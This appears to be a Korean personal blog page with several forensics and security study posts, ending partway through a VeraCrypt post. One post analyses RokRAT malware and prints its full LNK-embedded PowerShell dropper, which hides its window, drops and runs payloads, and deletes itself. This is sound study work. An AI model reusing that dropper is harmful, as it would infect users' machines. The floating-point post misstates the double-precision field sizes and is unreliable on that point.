모두의 dream

소프트웨어를 이용한 쓰기방지

오리꽥이로 — Mon, 13 Oct 2025 10:54:16 +0900

쓰기방지 하드웨어 장비가 없을 때 사용할 수 있는 방법

레지스트리 값 수정

1. 레지스트리 편집기 실행

레지스트리 편집기

2. 아래 경로로 이동

컴퓨터\HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\

3. "StorageDevicePolicies" 키 접근/생성

만약 StorageDevicePolicies 키가 존재하지 않을 경우 키 생성

키 생성

4. "WriteProtect" 값 수정/생성

만약 StorageDevicesPolices 키를 새로 생성한 경우 WriteProtect 값 생성

WriteProtect 값을 1로 설정하면 쓰기 방지가 설정되고, 0으로 설정하면 쓰기 방지가 해제된다.

결과 확인

쓰기 방지가 적용됐다.

Write-up

오리꽥이로 — Wed, 23 Jul 2025 22:16:12 +0900

Wargame

CyberDefenders: https://github.com/RokLcw/CyberDefenders
Hack The Box:
Dreamhack:
reversing.kr:

Algorithm

백준: https://github.com/RokLcw/BAEKJOON

플래시 메모리와 TRIM (with 디지털 포렌식)

오리꽥이로 — Wed, 16 Jul 2025 18:17:05 +0900

"요즘 저장 매체들은 왜 포렌식이 힘들어요???" 라는 질문에 시원하게 대답하기 위한 개념 정리.

I. SSD

SSD

NAND 플래시 메모리를 기반으로 한 저장매체.
플래시 메모리를 사용하기 때문에 셀(Cell) 이라는 기본 단위로 구성되어 있고 해당 셀에 비트를 저장한다.
쓰기(Write) 작업시 0, 지우기(Erase) 작업시 1로 채워지게 된다.

하드디스크에서 파일을 삭제하는 방식

MFT 영역에서 파일의 위치를 가리키던 메타 데이터만 삭제를 하고 실제 데이터는 남겨두는 방식이었다.

만약 하드디스크 삭제 방식 그대로 SSD에서 사용하게 된다면??

해당 방식은 플래시 메모리를 사용하는 SSD에서는 문제가 발생하게 된다.
셀에는 수명이 존재하는데 하드디스크에서 사용되는 플래터에 비해 현저히 짧은 수명을 갖고 있다.
하드디스크처럼 메타 데이터만 삭제를 하고 실제 데이터를 남겨두게 되면 해당 셀에는 굳이 사용하지 않는 데이터를 계속 저장하느라 점차 수명이 줄어든다.
이를 해결하기 위해 TRIM이라는 개념을 도입하게 된다.

II. TRIM

운영체제에서 SSD의 사용 및 관리 방식을 최적화하기 위해 사용하는 명령
운영체제는 데이터 블록을 더 이상 사용하지 않는 다는 것을 TRIM을 통해 SSD에게 알려주면 가비지 컬렉션(Garbage Collection) 이라는 작업을 통해 데이터를 정리(지운) 후 재사용 가능하도록 빈 공간을 확보해주게 된다.
따라서 파일 복구 및 포렌식이 어려워진다.

III. 휴대전화 저장장치

현재 휴대전화에도 플래시 메모리가 사용되고 있다.

안드로이드 4.3 버전부터 TRIM 지원
iOS 10.3 부터 APFS(iOS 파일시스템) 사용으로 TRIM 지원

따라서 SSD와 동일하게 휴대전화에서도 파일을 삭제할 경우 완전 삭제가 될 가능성이 높으며 파일 복구, 포렌식이 어렵다.

RokRAT Malware

오리꽥이로 — Wed, 18 Jun 2025 20:55:02 +0900

APT 37 그룹의 악성코드 RokRAT에 대한 분석 내용.

인터넷 상에 공유되어 다운로드 받을 수 있는 RokRAT 악성코드를 다운로드 받아서 분석을 진행했다.

현재 학습 중인 내용상 lnk 파일에 숨겨져 있는 스크립트에 대한 내용만 공부하고 싶어 바이너리 분석은 별도로 진행하지 않았으며 추후 분석이 가능해진다면 추가해볼 예정이다.

I. 악성코드 정보

파일명: (안보칼럼) 반국가세력에 안보기관이 무기력해서는 안된다.lnk

Hash (MD5): 2A12C48F3755D5EC762BF22215A34C19

II. 악성코드 동작 과정

lnk 파일에는 악성코드를 드롭, 실행하기 위한 스크립트와 악성파일, 사용자를 속이기 위한 정상 한글파일이 함께 들어있다.

악성코드를 실행하면 각각 아래 경로에 파일이 드롭되고, 한글 파일과 악의적인 행위를 하는 배치 파일이 실행되게 된다.

파일명	경로
(안보칼럼) 반국가세력에 안보기관이 무기력해서는 안된다.hwp	lnk 파일 실행 경로와 동일
public.dat	C:\Users\Public
temp.dat	C:\Users\[사용자 명]\AppData\Local\Temp
working.bat	C:\Users\[사용자 명]\AppData\Local\Temp

그리고 해당 lnk 파일의 구조는 다음과 같다.

데이터	주소	크기
lnk 파일 & 스크립트	0x00000000 ~ 0x0000162D	0x0000162E
한글 파일 (.hwp)	0x0000162E ~ 0x0004422D	0x00042C00
public.dat	0x0004422E ~ 0x0011D62F	0x000D9402
temp.dat	0x0011D630 ~ 0x0011DBD9	0x000005AA
working.bat	0x0011DBDA ~ 0x0011DD0E	0x00000135
쓰레기 값	0x0011DD0F ~ 0x0DD6DA21	0x0DC4FD13

III. 스크립트 분석

lnk 파일에 숨어있는 스크립트를 추출하기 위해 LECmd 도구를 활용했다.

LECmd.exe -f "C:\Users\user\Desktop\malware\APT Attack\Download_collect\(안보칼럼) 반 국가세력에 안보기관이 무기력해서는 안된다.lnk"

추출 결과는 다음과 같다.

LECmd 를 통해 추출한 파워쉘 스크립트

/k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "
    $t1 = 'user32.dll';
    $t = 'using System; 
    using System.Runtime.InteropServices; 
    public class User32 {
        [DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
        [DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 
    }'; 
    Add-Type -TypeDefinition $t;
    $proName = 'powershell.exe'; 
    $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);
    [User32]::ShowWindow($cmdMainWindowHandle, 0);
    $dirPath = Get-Location; 
    if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = '%temp%'}; 
    $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0DD6DA21} | Select-Object -ExpandProperty FullName;
    $lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
    $lnkFile.Seek(0x0000162E, [System.IO.SeekOrigin]::Begin);
    $pdfFile=New-Object byte[] 0x00042C00;
    $lnkFile.Read($pdfFile, 0, 0x00042C00);
    $pdfPath = $lnkPath.replace('.lnk','.hwp');
    sc $pdfPath $pdfFile -Encoding Byte;
    & $pdfPath;
    $lnkFile.Seek(0x0004422E,[System.IO.SeekOrigin]::Begin);
    $exeFile=New-Object byte[] 0x000D9402;
    $lnkFile.Read($exeFile, 0, 0x000D9402);
    $exePath=$env:public+'\'+'public.dat';
    sc $exePath $exeFile -Encoding Byte;
    $lnkFile.Seek(0x0011D630,[System.IO.SeekOrigin]::Begin);
    $stringByte = New-Object byte[] 0x000005AA;
    $lnkFile.Read($stringByte, 0, 0x000005AA);
    $batStrPath = $env:temp+'\'+'temp.dat';
    $string = [System.Text.Encoding]::UTF8.GetString($stringByte);
    $string | Out-File -FilePath $batStrPath -Encoding ascii;
    $lnkFile.Seek(0x0011DBDA,[System.IO.SeekOrigin]::Begin);
    $batByte = New-Object byte[] 0x00000135;
    $lnkFile.Read($batByte, 0, 0x00000135);
    $executePath = $env:temp+'\'+'working.bat';
    Write-Host $executePath;Write-Host $batStrPath;
    $bastString = [System.Text.Encoding]::UTF8.GetString($batByte);
    $bastString | Out-File -FilePath $executePath -Encoding ascii;
    & $executePath;$lnkFile.Close();
    remove-item -path $lnkPath -force;
"
&& exit

위에서부터 하나하나 해석해보자.

cmd.exe /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "
    $t1 = 'user32.dll';
    $t = 'using System; 
    using System.Runtime.InteropServices; 
    public class User32 {
        [DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
        [DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 
    }'; 
    Add-Type -TypeDefinition $t;

(1) cmd에서 파워쉘을 실행한다.

(2) 이후 $t1 변수에 user32.dll 문자열을 넣고 &t 변수에 C#으로 이루어진 코드를 넣는다. 해당 코드를 분석해보면 cmd 창을 숨기는 기능으로 활용할 수 있는 FindWindow, ShowWindow 함수를 불러온 것을 확인할 수 있다.

GetString(34) 는 쌍따옴표로 해당 문장을 다시 작성해보면 다음과 같다.

[DllImport("user32.dll", SetLastError = true)]

그리고 최종적으로 Add-Type -TypeDefinition $t 명령어를 이용하여 PowerShell 런타임에 컴파일하여 로드시킨다.

$proName = 'powershell.exe'; 
$cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);
[User32]::ShowWindow($cmdMainWindowHandle, 0);

$proName 변수에 'powershell.exe' 문자열을 지정하고 $cmdMainWindowHandle 변수에는 위에서 불러온 FindWindow를 이용하여 powershell.exe 의 핸들값을 확보한 뒤 ShowWindow 함수를 이용하여 powershell.exe 창을 숨기게 된다. (매개변수 값 0은 SW_HIDE, 창을 숨기게된다)

$dirPath = Get-Location; 
if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = '%temp%'}; 
$lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0DD6DA21} | Select-Object -ExpandProperty FullName;

$dirPath 변수에는 현재 lnk 파일이 저장되어 있는 디렉토리의 경로를 반환한다.

그리고 match 연산자(정규식)를 이용하여 만약 해당 디렉토리 경로에 System32나 Program Files 문자가 있다면 $dirPath 변수에는 %temp% 경로가 저장된다.

$lnkPath 변수에는 $dirPath 경로에 있는 lnk 파일 중 파일의 크기가 0x0DD6DA21인 파일을 찾아서 해당 파일의 전체 경로를 lnkPath에 저장하게 된다.

$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x0000162E, [System.IO.SeekOrigin]::Begin);
$pdfFile=New-Object byte[] 0x00042C00;
$lnkFile.Read($pdfFile, 0, 0x00042C00);
$pdfPath = $lnkPath.replace('.lnk','.hwp');
sc $pdfPath $pdfFile -Encoding Byte;
& $pdfPath;

현재 실행중인 lnk 파일을 $lnkFile 변수를 이용하여 읽는다.

그리고 $lnkFile.Seek 를 이용해 0x162E 주소로 이동한 후

$pdfFile 을 바이트 배열로 선언해준 뒤 0x42C00 만큼 크기를 지정해주고

$pdfFile 변수에 0x42C00 크기만큼 읽어서 저장한다.

이후 $pdfPath 변수에는 $lnkPath에 저장되어 있던 경로가 그대로 들어간 후 .lnk 라는 문자열만 .hwp로 바꿔준다.

그리고 sc(Set-Content)를 사용해 $pdfFile 데이터를 바이너리 형식으로 저장해준다. 마지막으로 & $pdfPath를 이용해 해당 파일을 실행해주게 된다.

$lnkFile.Seek(0x0004422E,[System.IO.SeekOrigin]::Begin);
$exeFile=New-Object byte[] 0x000D9402;
$lnkFile.Read($exeFile, 0, 0x000D9402);
$exePath=$env:public+'\'+'public.dat';
sc $exePath $exeFile -Encoding Byte;

동일하게 $lnkFile.Seek 를 이용하여 0x4422E 주소로 이동한 후

exeFile 변수를 바이트 배열로 선언해준 뒤 0xD9402 만큼 크기를 지정해주고

$exeFile 변수에 0xD9402 만큼 읽어서 저장한다.

이후 $exePath 변수는 해당 파일이 저장될 경로로, 사용자 폴더의 public 폴더 하위에 public.dat 이란 파일으로 저장되게 된다. 마지막으로 sc(Set-Content)를 사용해 $exePath 경로에 $exeFile 데이터를 저장해주게 된다.

$lnkFile.Seek(0x0011D630,[System.IO.SeekOrigin]::Begin);
$stringByte = New-Object byte[] 0x000005AA;
$lnkFile.Read($stringByte, 0, 0x000005AA);
$batStrPath = $env:temp+'\'+'temp.dat';
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$string | Out-File -FilePath $batStrPath -Encoding ascii;

동일하게 $lnkFile.Seek 를 이용하여 0x11D630 주소로 이동한 후

StringByte 변수를 바이트 배열로 선언해준 뒤 0x5AA 만큼 크기를 지정해주고

$stringByte 변수에 0x5AA 만큼 읽어서 저장한다.

이후 $batStrPath 변수는 해당 파일이 저장될 경로로, 사용자 폴더의 temp 경로(C:\Users\[사용자명]\AppData\Local\Temp)에 temp.dat 이란 파일으로 저장되게 된다.

그리고 $string 변수에는 $stringByte에 담겨있는 바이트 배열을 UTF-8 형식으로 디코딩한 문자열이 저장된다. 마지막으로 $string 변수에 있는 데이터가 Out-File을 통해 $batStrPath 경로에 저장된다.

$lnkFile.Seek(0x0011DBDA,[System.IO.SeekOrigin]::Begin);
$batByte = New-Object byte[] 0x00000135;
$lnkFile.Read($batByte, 0, 0x00000135);
$executePath = $env:temp+'\'+'working.bat';
Write-Host $executePath;
Write-Host $batStrPath;
$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);
$bastString | Out-File -FilePath $executePath -Encoding ascii;
& $executePath;
$lnkFile.Close();
remove-item -path $lnkPath -force;

동일하게 $lnkFile.Seek를 이용하여 0x11DBDA 주소로 이동한 후

$batByte 변수를 바이트 배열로 선언해준 뒤 0x135 만큼 크기를 지정해주고

$batByte 변수에 0x135 만큼 읽어서 저장한다.

이후 $executePath 변수는 해당 파일이 저장될 경로로, 사용자 폴더의 temp 경로(C:\Users\[사용자명]\AppData\Local\Temp)에 working.bat 이란 파일으로 저장되게 된다.

Write-Host는 변수의 값을 보여주는 명령으로 $executePath, $batStrPath의 경로를 출력해주게 된다. 아마 디버깅 용이었는데 안지웠을 가능성이 있을지도 모르겠다.

그리고 $bastString 변수에 $batByte에 담겨있는 바이트 배열을 UTF-8 형식으로 디코딩한 문자열이 저장된다. 마지막으로 $bastString 변수에 있는 데이터가 Out-File을 통해 $executePath 경로에 저장된다.

& $executePath를 통해 해당 경로에 있는 파일 working.bat을 실행시키고 &lnkFile.close() 를 통해 현재 작동중이었던 lnk 파일의 실행을 종료시킨다. 이후 remove-item 을 통해 해당 lnk 파일을 삭제하게 된다. (은폐 과정이며 $lnkPath 변수에 있는 경로를 통해 삭제하게 된다.)

IV. 배치파일 (*.bat) 분석

배치파일 분석은 현재 단계에서 필요하지 않기 때문에 별도로 진행하지 않았다.

V. 바이너리 분석

바이너리 분석은 현재 단계에서 필요하지 않기 때문에 별도로 진행하지 않았다.

VI. Reference

https://blog.plainbit.co.kr/lnk_rokrat/

고정 소수점 & 부동 소수점

오리꽥이로 — Mon, 13 Jan 2025 16:02:24 +0900

이진 기수법

컴퓨터에서 10진수를 저장하는 방법은 2진수이다.

예시) 10진수 108 → 2진수 0110 1100

10진수가 1, 10, 100, 1000 이렇게 10^n에 해당하는 수가 될 때마다 자릿수가 올라갔다면, 2진수는 1(2) = 1(10), 10(2) = 2(10), 100(2) = 4(10), 1000(2) = 8(10) 이런식으로 2^n에 해당하는 수가 될 때마다 자릿수가 올라간다.

10진수를 2진수로 변환하는 방법은 다음과 같다. (2로 나눈 후 나머지 값들을 이어 2진수로 변환한다.)

그렇다면 소수를 2진수로 변환하는 방법은 무엇일까?

정수는 위 방식대로 진행하면 되지만, 소수점 아래 부분은 위 방식의 반대로 진행하면 된다.

2로 나눴던걸 2로 곱해주면 된다.

예시 1) 15.625

정수: 위 계산법에 따라 1111(2)

소수:

0.625 * 2 = 1.25 → 1을 빼내고 나머지 0.25

0.25 * 2 = 0.5 → 0을 빼내고 나머지 0.5

0.5 * 2 = 1.0 → 1을 빼내고 나머지 0 (0이 나오면 종료)

최종: 1111.101 (위에서부터 읽어준다.)

예시 2) 15.238
정수: 위 계산법에 따라 1111(2)

소수:

0.238 * 2 = 0.476 → 0 을 빼내고 나머지

0.476 * 2 = 0.952 → 0 을 빼내고 나머지

0.952 * 2 = 1.904 → 1 을 빼내고 나머지

0.904 * 2 = 1.808 → 1 을 빼내고 나머지

...

예시 2의 경우 예시 1과는 달리 깔끔하지 못한 자릿수가 늘어날 수 밖에 없는 숫자다.

따라서 10진수 소수를 2진수로 완벽하게 나타낼 수는 없다.

고정 소수점

위에서 소수를 2진수로 변환한 후 나온 결과값을 그대로 저장하는 방식이다.

bits 입니다! ㅎㅎ

16비트, 32비트 등 저장 공간의 크기에 따라 정수부와 소수부의 크기는 달라질 수 있으며 현재는 16비트 공간인 상황이다.

부호 비트: 0이면 양수, 1이면 음수.

정수는 뒤에서부터, 소수는 앞에서부터 값을 채우며 남는 자리는 0으로 채우게 된다.

구현은 편리하지만, 표현 가능한 범위가 적어지고 정밀도가 낮아지게 된다.

따라서 부동 소수점이라는 방식을 대부분 사용하고 있다.

부동 소수점

부동 소수점 방식으로 표현하기 위해서는 정규화라는 과정을 거쳐야 한다.

정규화

정수부에 1만 남을 때 까지 소수점을 왼쪽(정수부가 0일 경우에는 오른쪽으로)으로 이동시키고, 이동한 칸 수 만큼 2^n으로 표시하면 되는 방식이다.

소수점이 오른쪽으로 가면 곱하기 2, 왼쪽으로 가면 나누기 2.

예시) 15.625(10) → 1111.101(2)

15.625 / 2 → 111.1101 (2)

31.25 / 2 → 11.11101 (2)

62.5 / 2 → 1.111101 (2)

최종: 1.111101(2) * 2^3

따라서 1.111101(2) * 2^3이 된다.

IEEE 754 부동소수점 표현

IEEE 754는 전기전자공학자협회(IEEE)에서 개발한 컴퓨터에서 부동소수점을 표현하는 가장 널리 쓰이는 표준이다.

부동소수점 방식으로 실수를 저장할때 32비트 또는 64비트가 사용된다.

32비트인 경우 지수부는 8bits, 가수부는 23bits이며 64비트인 경우 지수부는 10 bits, 가수부는 53 bits가 할당된다.

32비트인 경우는 단정도(Single-Precision), 64비트인 경우는 배정도(Double-Precision) 이라고 부른다.

부호 비트: 0이면 양수, 1이면 음수.

지수부: 정규화 후 나온 2^n에서 n에 해당하는 수를 2진수로 변환한 후 채워준다. (bias라고 하는 지정된 숫자를 더해준 값이며 IEEE 754 표준에서 32비트 bias값은 127이다. bias 값은 바뀔 수 있으므로 환경을 확인한다.)

가수부: 소수점 오른쪽에 있는 숫자들을 왼쪽부터 넣은 후 남은 자리는 0으로 채워준다. (정규화 후 소수점 왼쪽 숫자는 무조건 1이기 때문에 따로 표현하지 않는데, 이 1을 hidden bit라고 부르기도 한다.)

예시) 32 bits 부동소수점 방식일 경우 : 15.625(10) → (정규화 후) 1.111101(2) * 2^3

지수부: 3 + 127 = 130(10) → 10000010(2)

가수부: 1.111101(2) → 111101

최종 결과는 다음과 같다.

bias 값이 사용되는 이유

지수가 음수가 될 수도 있기 때문에 bias 값이 사용된다.

32비트의 bias는 127, 64비트의 bias는 1023dlek.

예시 1) 0.000101 (2)

정규화 진행. 정수부가 0이기 때문에 오른쪽으로 소수점을 밀어야 된다.

0.000101 * 2 = 0.00101

0.00101 * 2 = 0.0101

0.0101 * 2 = 0.101

0.101 * 2 = 1.01

최종: 1.01 * 2 ^ -4

예시 2) 0.101 (2)

0.101 *2 = 1.01

최종: 1.01 * 2 ^ -1

0 ~ 127은 음수, 128 ~ 255는 양수를 표현하도록 만들었다. 더 자세히는 0과 255는 0이나 0에 한없이 수렴하는 작은 수들, NaN(Not a Number) 같은 것들을 표현하기 위해 특별하게 지정되어 있어 일반적인 표현 범위에 포함되지 않으며, 이런 수들을 표현할 때는 이 글에서 설명한 정규화 방법이 적용되지 않는다.

10진수 소수의 2진수 변환 (오차)

따라서 컴퓨터에서 10진수를 2진수를 변환할 때 오차가 발생한다고 말하는건 소수를 부동소수점 방식으로 변환할 때 소수의 길이(예를 들면 무한소수)가 저장공간을 초과하는 경우를 말한다.

프로그래밍 언어에서 소수(실수)를 표현할 때 float, double 형이 사용된다.

float는 32비트, double은 64비트인데 단정도(32비트), 배정도(64비트)와 동일하다.

따라서 double형 보다 float형이 오차가 더 크다.

고정소수법에 비해 부동소수법은 지수로 인해 표현 가능한 숫자의 범위가 넓어져 오차를 줄일 수 있다.

Reference

https://daldalhanstory.tistory.com/147

Ext4 삭제된 파일 복구

오리꽥이로 — Mon, 30 Sep 2024 11:15:41 +0900

* 직접 실험을 하며 작성한 내용으로 틀린 내용이 매우매우 있을 수 있음. (직접 분석시 케이스 참고용으로만 사용할 것.)

I. 휴지통 분석

baseball.jpg 는 shift+delete, Flag_of_South_Korea.svg.png는 휴지통으로 집어넣은 후 삭제했다.

휴지통에 있는 파일은 삭제된 파일이라고 보기는 어렵지만.. 아무튼 별도의 포스팅을 할 정도는 아니라 여기에 작성했다.

휴지통 삭제

Ext4 파일시스템을 사용하는 우분투에서는 다음 경로에 삭제된 파일이 저장된다. (휴지통)

~/.local/share/Trash/files

(Ext4를 사용하는 모든 운영체제가 동일하다고 볼 순 없다.)

삭제된 파일

삭제된 파일을 복원할 때 원래 있던 경로를 확인하는 방법 무엇일까?

다음 경로에 파일의 원래 경로를 저장해 놓고 복원시 참고하게 된다.

~/.local/share/Trash/info

삭제된 파일 원래 경로

inode 변화

휴지통에 옮겼을 때 inode 값은 그대로 유지될까?

(작성중)

II. 영구적으로 삭제된 파일 복구하기

아래 포스팅에서 /home/user/Downloads 경로에 있는 Flag_of_South_Korea.svg.png, baseball.jpg 파일을 모두 삭제했다.

https://roklcw.tistory.com/66

Ext4 파일 데이터 접근 (with Directory Entry)

모두의 dream Ext4 파일 데이터 접근 (with Directory Entry) 본문 분야/Digital Forensics Ext4 파일 데이터 접근 (with Directory Entry) 오리꽥이로 2023. 9. 15. 10:05

roklcw.tistory.com

삭제된 파일 중 Flag_of_South_Korea.svg.png의 삭제 전, 후를 비교해봤다.

파일 삭제 후 변화

디렉토리 엔트리

삭제 전 / 후

/home/user/Downlods를 확인해보니 기존에 존재하던 Flag_of_South_Korea.svg.png의 디렉토리 엔트리가 사라진 것을 확인할 수 있었다. 따라서 당장 Root directory에서 파일을 복구할 수 있는 경로를 찾기는 어려워 보인다.

파일 데이터

Flag_of_South_Korea.svg.png 파일의 데이터는 동일한 경로에 잘 남아있다.

삭제 전 / 후

파일 삭제 실습 1

2개의 실습파일 Flag_of_South_Korea.svg.png, baseball.jpg 삭제 후 재부팅을 최소 3회 진행했다.

삭제 전 / 후 비교

Flag_of_South_Korea.svg.png 파일의 inode를 조사해봤다.

삭제 전 / 후

offset	이름	삭제 전	삭제 후
0x00 ~ 0x01	i_mode	파일의 권한과 소유자를 나타냄. 구조: type(4bit) + setuid/setgid/sticky bit + user 권한 (3bit) + group 권한 (3bit) + other 권한 (3bit) 0x81B4 → 1000 000 110 110 100 1000 (0x8000) : Regular file 000: NULL 110 110 100 : rw-rw-r-- 결과: Regular file, -rw-rw-r--
0x04 ~ 0x07	i_size_lo (Size in bytes)	0x61C8	0x05
0x14 ~ 0x17	i_dtime (Deletion Time)	0x0000	0x0000
0x6C ~ 0x6F	i_size_high / i_dir_acl	0x0000	0x0000

inode i_block 값을 비교해본 결과는 다음과 같다.

분류	offset	이름	삭제 전	삭제 후
Header	0x06 ~ 0x07	Header의 eh_depth	0 → 따라서 Leaf nodes	0 → 따라서 Leaf nodes
Leaf nodes 1	0x00 ~ 0x03	Leaf nodes ee_block	0	0
	0x04 ~ 0x05	Leaf nodes ee_len	7	1
	0x06 ~ 0x07	Leaf nodes ee_start_hi	0x0000	0x0000
	0x08 ~ 0x0B	Leaf nodes ee_start_lo	0x20BCA7	0x3A880

삭제 후 i_block에 존재하는 Leaf nodes의 offset이 변경되었으며 d_time이 반영이 되지 않았다.

하지만 데이터는 동일한 경로에 잘 남아있으므로 inode가 다른 파일을 가리키도록 재할당 된 것 같다.

파일 삭제 실습 2

사실 2번 실습은 예정에 없던 실습이었다.

1번 실습을 한 결과를 보면 inode 값 자체가 달라진 모습을 볼 수 있는데, 이 부분에서 며칠을 소비한 것 같다.

그러다가 재부팅을 최소 3번 이상 했던게 기억이 났다.

혹시 그 이유 때문인가 싶어 파일 한 개를 삭제한 후 재부팅 없이 시스템 종료만 하는 방식으로 재실습했다.

파일 삭제

사용한 파일은 newjeans_minji.png 파일이다.

Downloads 디렉토리 엔트리

newjeans_minji.png 파일의 inode 정보는 다음과 같다.

inode

newjeans_minji.png inode의 i_block 정보는 다음과 같다.

분류	offset	이름	값
Header	0x06 ~ 0x07	Header의 eh_depth	0 → 따라서 Leaf nodes
Leaf nodes 1	0x00 ~ 0x03	Leaf nodes ee_block	0
	0x04 ~ 0x05	Leaf nodes ee_len	0x151 → 337
	0x06 ~ 0x07	Leaf nodes ee_start_hi	0x0000
	0x08 ~ 0x0B	Leaf nodes ee_start_lo	0x453400

최종 : 블록번호 (ee_start_hi + ee_start_lo) * 한 블록의 크기 4096 bytes (0x1000)

ee_start_hi + ee_start_lo = 0x453400

(ee_start_hi + ee_start_lo) * 0x1000 = 0x453400000

PNG 파일

모든 과정이 증명됐으니 삭제를 진행한다. (재부팅이 아닌 프로그램 종료만 진행.)

디렉토리 엔트리가 사라졌다.

삭제 전, 후 비교

삭제 전 / 후 inode 값은 다음과 같다.

삭제 전 / 후

offset	이름	삭제 전	삭제 후
0x00 ~ 0x01	i_mode	파일의 권한과 소유자를 나타냄. 구조: type(4bit) + setuid/setgid/sticky bit + user 권한 (3bit) + group 권한 (3bit) + other 권한 (3bit) 0x8181 → 1000 000 010 000 001 1000 (0x8000) : Regular file 000: NULL 010 000 001 : -w- --- --x 결과: Regular file, -w------x
0x04 ~ 0x07	i_size_lo (Size in bytes)	0x150643	0
0x14 ~ 0x17	i_dtime (Deletion Time)	0	0x6703B871 (2024-10-07 19:31:13 UTC+9)
0x6C ~ 0x6F	i_size_high / i_dir_acl	0	0

i_dtime을 통해 삭제된 시간을 확인할 수 있다.

i_block 값을 비교한 결과는 다음과 같다.

삭제 전 / 후 i_block 값

분류	offset	이름	삭제 전	삭제 후
Header	0x06 ~ 0x07	Header의 eh_depth	0 → 따라서 Leaf nodes	0 → 따라서 Leaf nodes
Leaf nodes 1	0x00 ~ 0x03	Leaf nodes ee_block	0	0
	0x04 ~ 0x05	Leaf nodes ee_len	0x151 → 337	0
	0x06 ~ 0x07	Leaf nodes ee_start_hi	0x0000	0
	0x08 ~ 0x0B	Leaf nodes ee_start_lo	0x453400	0

결론: 실습1에서 재부팅 몇번 하는 사이에 inode가 다른 파일을 가리키도록 재할당 됐다.

시스템의 전체 용량, 실행 환경 등에 따라 영향을 받을 수 있겠지만 생각보다 inode가 빠르게 재할당 되는 모습은 조금 충격이었다.

III. 파일 복구하기

i_block의 값이 NULL 로 채워진다면 파일을 복구할 방법은 사실상 시그니처 등을 이용한 파일 카빙밖에 없을 듯 하다. 그래도 inode가 재할당되지 않은 경우 파일이 삭제된 시간을 확보할 수 있다.

inode가 재할당되지 않은 경우

(1) inode 번호를 아는 경우

inode 번호를 안다면 inode table에서 해당하는 inode로 접근한 후 파일이 삭제된 시간을 확보할 수 있다.

(2) 파일명을 아는 경우

inode 에는 파일명이 적혀있지 않다. 하지만 Journal 은 다르다.

Journal에는 메타데이터의 변경 내용이 저장되어 있으므로 파일명도 함께 남아 있을 수 있다.

따라서 파일명을 검색해주면 inode를 확인할 수 있다. 이후 파일이 삭제된 시간을 확보할 수 있다.

삭제된 사진이 저장되어 있던 Downloads 디렉토리 엔트리

inode가 재할당된 경우

파일 삭제 실습 1번에 해당하는 케이스다.

inode는 재할당 되었고, journal 영역에서 메타데이터를 확인하더라도 재할당 된 inode 때문에 확보할 수 있는 정보는 없다. 따라서 파일의 정보를 획득할 순 없고 파일 카빙이 이루어져야 되지 않을까 생각한다. (물론 정답이 아닐 가능성과 파일 카빙이 가능한 연구결과가 있을 수도 있다.)

IV. Reference

https://ext4.wiki.kernel.org/index.php/Ext4_Disk_Layout

ChatGPT 검색

VeraCrypt 사용과 분석

오리꽥이로 — Mon, 23 Sep 2024 16:59:33 +0900

VeraCrypt

기존 파티션이나 드라이브(USB, 외장하드)를 암호화 하거나 암호화된 가상 디스크를 파일 형태로 새롭게 생성한다.

VeraCrypt에는 3가지 볼륨 생성 옵션, 2가지 볼륨 형태가 존재한다.

볼륨 생성 옵션 (Volume Creation)

VeraCrypt 볼륨 생성 마법사

1. Create an encrypted file container

암호화된 가상 디스크를 파일 형태로 생성한다.

가상 디스크 형태로 생성된 볼륨

2. Encrypt a non-system partition/drive

운영체제가 설치되지 않은 파티션이나 드라이브(외장 하드, USB 등)를 암호화하는 옵션.

기존 데이터는 삭제되는 포맷을 한 후 암호화된 볼륨을 생성 하거나, 기존 데이터를 함께 암호화를 하는 옵션 중 선택할 수 있다.

암호화 옵션

3. Encrypt the system partition or entire system drive

운영체제가 설치된 파티션/드라이브를 암호화하는 옵션으로 설정된 경우 운영체제를 부팅할 때 비밀번호를 입력해야 된다.

볼륨 형태 (Volume Type)

Volume Type

1. Standard VeraCrypt Volume

볼륨 암호화 기능을 통해 암호를 입력해야 데이터를 읽을 수 있지만 볼륨이 존재한다는 것이 명확하게 드러나므로 암호화된 볼륨이 있는 사실 자체를 숨길 수는 없다.

2. Hidden VeraCrypt Volume

볼륨 암호화 기능과 볼륨 은닉 기능을 제공한다.

Standard VeraCrypt Volume이 생기고, 그 안에 Hidden VeraCrypt Volume이 생기는 방식으로 겉으로는 Standard VeraCrypt Volume이 보이게 된다. 따라서 표면적으로 숨겨진 볼륨이 존재한다는 사실을 알 수 없게된다.

단점으로는 사용자가 표준 볼륨에 데이터를 저장할때 숨겨진 볼륨의 데이터를 덮어쓸 위험이 존재한다.

(1) Normal Mode

새로운 볼륨을 생성한 다음 그 안에 숨겨진 VeraCrypt 볼륨을 생성한다.

(2) Direct mode

